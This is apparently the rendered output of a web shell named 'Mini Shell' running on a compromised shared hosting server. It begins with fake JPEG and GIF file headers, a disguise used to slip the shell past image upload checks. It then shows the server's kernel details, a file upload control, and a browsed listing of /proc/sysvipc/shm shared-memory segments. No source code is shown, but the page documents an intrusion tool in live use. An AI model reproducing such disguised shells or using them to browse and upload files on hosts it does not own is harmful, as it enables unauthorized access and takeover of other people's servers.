ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux server404.web-hosting.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64

Current Path : /proc/sysvipc/
Upload File :
Current File : //proc/sysvipc/shm

       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
   5432001    1998848   600                    56 2769779 1310988      6    26    26    26    26 1781116587 1781116587 1779865311                     0                  4096
         0    1998849  1600                672720 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865312                675840                     0
         0    1998850  1600                694424 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865314                696320                     0
      5555          3   644                  1024  2996 2590813      0     0     0     0     0 1781077468 1781077468 1778501736                  4096                     0
         0    1998853  1600                716128 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865316                716800                     0
         0    1998854  1600                737816 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865318                741376                     0
         0    1998855   600                759512 2766601 1311586      2   975   968   975   968 1781116601 1781116601 1779865320                761856                     0
         0    8978444  1400                 65212 1382114 3525595      2   984   979     0     0 1781105944          0 1781105944                 65536                     0
         0    1966109  1600                   576 2766595 1311586      6   975   968   975   968 1781116601 1781116601 1779865249                  4096                     0
         0    1966110  1600               1825056 2766595 1311586      6   975   968   975   968 1781116601 1781116601 1779865249               1826816                     0
         0    1966111  1600                 21744 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865250                 24576                     0
         0    1966113  1600                 43456 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865252                 45056                     0
         0    1966114  1600                 65160 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865254                 65536                     0
         0    1966115  1600                 86856 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865256                 90112                     0
         0    1966116  1600                108560 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865258                110592                     0
         0    1966117  1600                130312 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865260                131072                     0
         0    1966118  1600                152008 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865262                155648                     0
         0    1966119  1600                173712 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865264                176128                     0
         0    1966120  1600                195408 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865266                196608                     0
         0    1966121  1600                217112 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865268                221184                     0
         0    1966122  1600                238816 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865270                241664                     0
         0    1966123  1600                260544 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865272                262144                     0
         0    1966124  1600                282240 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865274                282624                     0
         0    1966125  1600                303944 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865276                307200                     0
         0    1966126  1600                325632 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865279                327680                     0
         0    1966128  1600                347320 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865281                348160                     0
         0    1966129  1600                369016 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865283                372736                     0
         0    1966130  1600                390704 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865285                393216                     0
         0    1966131  1600                412392 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865287                413696                     0
         0    1966132  1600                434088 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865289                434176                     0
         0    1966133  1600                455784 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865292                458752                     0
         0    1966134  1600                477480 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865294                479232                     0
         0    1966135  1600                499168 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865296                499712                     0
         0    1966136  1600                520856 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865298                524288                     0
         0    1966137  1600                542552 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865300                544768                     0
         0    1966138  1600                564240 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865302                565248                     0
         0    1966139  1600                585928 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865304                589824                     0
         0    1966140  1600                607624 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865306                610304                     0
         0    1966141  1600                629320 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865308                630784                     0
         0    1966142  1600                651016 2766601 1311586      1   975   968   975   968 1781116601 1781116601 1779865310                651264                     0

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST